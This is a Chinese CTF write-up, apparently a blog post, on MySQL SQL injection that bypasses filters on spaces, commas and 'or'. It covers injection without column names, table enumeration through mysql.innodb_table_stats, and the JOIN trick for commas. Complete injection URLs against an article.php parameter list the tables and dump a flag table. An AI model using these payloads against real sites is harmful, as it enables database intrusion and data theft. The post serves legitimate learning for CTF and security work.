• SQLi —— 逗号,空格,字段名过滤突破


    前言

    出于上海大学生网络安全大赛的一道easysql,促使我积累这篇文章。因为放了大部分时间在DecadeBabyt5上,easysql一点没看,事后看了WP,发现看不懂怎么回事,于是了解了一番。

    无列名注入

    前提:easysql中过滤了or,这样information_schema就不能用了,需要通过innodb存储引擎利用获取表名,不知道列名,所以需要通过无列名注入获取字段数据。

    其实就是边看文章边自己实践记录,自己写的更详细点,便于理解的更透彻。

    直接select 1,2,3,4 这样不就是一个表了吗,可以看作是虚拟表。

    我们可以通过union select 将这个虚拟表填充你想要读取的表的数据(记得用union时,保证左右两边的字段数相同,即列数)

    再通过设置这样的虚拟表别名,就可以实现无列名注入了

    可以看到我们需要的表的数据导入了虚拟表,并且以我们设定的1,2,3,4作为列名

     

    第二列开始才是我们想要的表中数据,可用limit来取limit 2,1 或者limit 1 offset 2(这里不选用第二行数据是因为比较下limit 2,1和可以bypass逗号的limit 1 offset 2的区别,容易对应参数混淆)

    limt 2,1 :从第三行开始,取一行数据

    limit 1 offset2 :取一行数据,从第二行开始

    这样就完成了无列名注入

    innodb存储引擎

    因为本地是5.5.53的mysql,也不想再docker去pull部署了,直接照搬文章里的内容把。(谢罪)

    红帽杯wp中,需要通过innodb来获取表名,原因是过滤了or,无法用上information_schema

    Mysql>5.6.x

    在Mysql中,存储数据的默认引擎分为两类。一类是在5.5.x之前的MyISAM数据存储引擎,另一类是5.5.x版本后的innodb引擎。并且mysql开发团队在5.5.x版本后将innodb作为数据库的默认引擎。

    而在mysql 5.6.x版本起,innodb增添了两个新表,一个是innodb_index_stats,另一个是innodb_table_stats。查阅官方文档,其对这两个新表的解释如下图:

    从官方文档我们可以发现两个有用的信息:

    1. 从5.6.x版本开始,innodb_index_stats和innodb_table_stats数据表时自动设置的。
    2. 两个表都会存储数据库和对应的数据表。

    唯一遗憾的是没有字段名

    本地试验:

    Mysql 5.6.40

    innodb_index_stats

    select * from mysql.innodb_index_stats limit 0,3;

     

    innodb_table_stats

    select * from mysql.innodb_table_stats limit 0,1

     

    有效载荷:select table_name from mysql.innodb_table_stats where database_name = schema()

    前提mysql>5.6x

    用来查表的payload:

    select group_concat(table_name) from mysql.innodb_table_stats where database_name like database()

    bypass

    对于bypass waf有很多骚姿势,把一些最基本的列出来。

    1.首先我们空格被过滤,这个绕过方法有很多

    • 使用注释绕过,/**/,如果因为’/‘被过滤,导致此方法无法使用
    • 使用括号绕过,括号可以用来包围子查询,任何计算结果的语句都可以使用()包围,并且两端可以没有多余的空格
    • 使用符号替代空格 %20 %09 %0d %0b %0c %0d %a0 %0a,这里我选择了%0a进行绕过

    2.对于,的过滤,之前没有过了解,查了很多资料和文章,发现了一个姿势

    Join

    Join绕过逗号,配合联合注入payload(发现图片可能不能直接复制粘贴代码,可能造成复现不方便)

    mysql> SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d;
    +---+---+---+---+
    | 1 | 2 | 3 | 4 |
    +---+---+---+---+
    | 1 | 2 | 3 | 4 |
    +---+---+---+---+
    1 row in set (0.00 sec)  
    (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d;

    这样就类似如下的形式

    mysql> select*from(select 1,2,3,4)a;
    +---+---+---+---+
    | 1 | 2 | 3 | 4 |
    +---+---+---+---+
    | 1 | 2 | 3 | 4 |
    +---+---+---+---+
    1 row in set (0.00 sec)

    可以构造一些查询语句

    mysql> SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT version())d;
    +---+---+---+-----------+
    | 1 | 2 | 3 | version() |
    +---+---+---+-----------+
    | 1 | 2 | 3 | 5.5.53    |
    +---+---+---+-----------+
    1 row in set (0.00 sec)  

    bypass逗号,实现联合注入

    select*from people where id=-1 union select*from((select 1)b join (select 2)a join (select 3)c join (select 4)d);

    结合分析

    因为没碰easysql,所以只能靠wp来结合分析

    第一步

    1. 尝试寻找回显点,使用join bypass逗号过滤。
    
    /article.php?id=0' union%0bselect * from (select 1)a join (select 2)b join (select 3)c join (select 4)d%23   

    通过union 查询注入寻找注入点,逗号被过滤了,通过join来bypass 逗号,爆出显示位

    第二步

    2. 尝试爆表,但是or被过滤,我们选取另一个系统表mysql.innodb_table_stats。
    
    /article.php?id=0' union%0bselect * from (select 1)a join (select (select group_concat(table_name) from mysql.innodb_table_stats where database_name like database()))b join (select 3)c join (select 4)d%23  

    过滤了or,通过innodb来爆出表名, 第二步没有什么好分析的,就是记得(select (select group_concat(table_name) from mysql.innodb_table_stats where database_name like database()))b,里面只能一个字段一个数据,不能多个字段。这里也可以不用子查询,用limit来限制=>(select table_name from  mysql.innodb_table_stats where database_name like database())b,但是不如group_concat来的快速啊,直接列出所有的表名,不需要limit一步一步的读表名。

    第三步

    /article.php?id=0' union%0bselect * from (select 1)z join (select i.3 from (select * from (select 1)a join (select 2)b join (select 3)c union%0bselect * from fl111aa44a99g)i limit 1 offset 1)x join (select 3)v join (select 3)n%23  

    这里就分析下最重要的一部分

    join (select i.3 from (select * from (select 1)a join (select 2)b join (select 3)c union%0bselect * from fl111aa44a99g)i limit 1 offset 1)x

    这里是通过无列名注入结合join bypass逗号。

    唯一的区别就是将(select 1,2,3 union select*from fl111aa44a99g)i 替换为join的方式(select * from (select 1)a join (select 2)b join (select 3)c union%0bselect * from fl111aa44a99g)i

    睡觉睡觉

    1.40了

     

      

    学习链接:

    https://blog.csdn.net/qq_40500631/article/details/89631904

    http://p0desta.com/2018/03/29/SQL%E6%B3%A8%E5%85%A5%E5%A4%87%E5%BF%98%E5%BD%95/#1-10-%E6%97%A0%E5%88%97%E5%90%8D%E6%B3%A8%E5%85%A5

    https://www.o2oxy.cn/1929.html

  • 相关阅读:
    HTML多余字符省略号显示,获取jstl表达式传过来的值(内容)
    去除layui表头右边的功能键
    常用正则表达式
    layui注册页面
    怎样将写入到input框中的数据显示到页面上
    layui 添加功能
    python3 -- 去除字符串头尾字符 strip()
    Linux -- tar 命令
    PyMySql -- 常用方法
    MySQL -- 目录
  • 原文地址:https://www.cnblogs.com/BOHB-yunying/p/11854437.html
Copyright © 2020-2023  润新知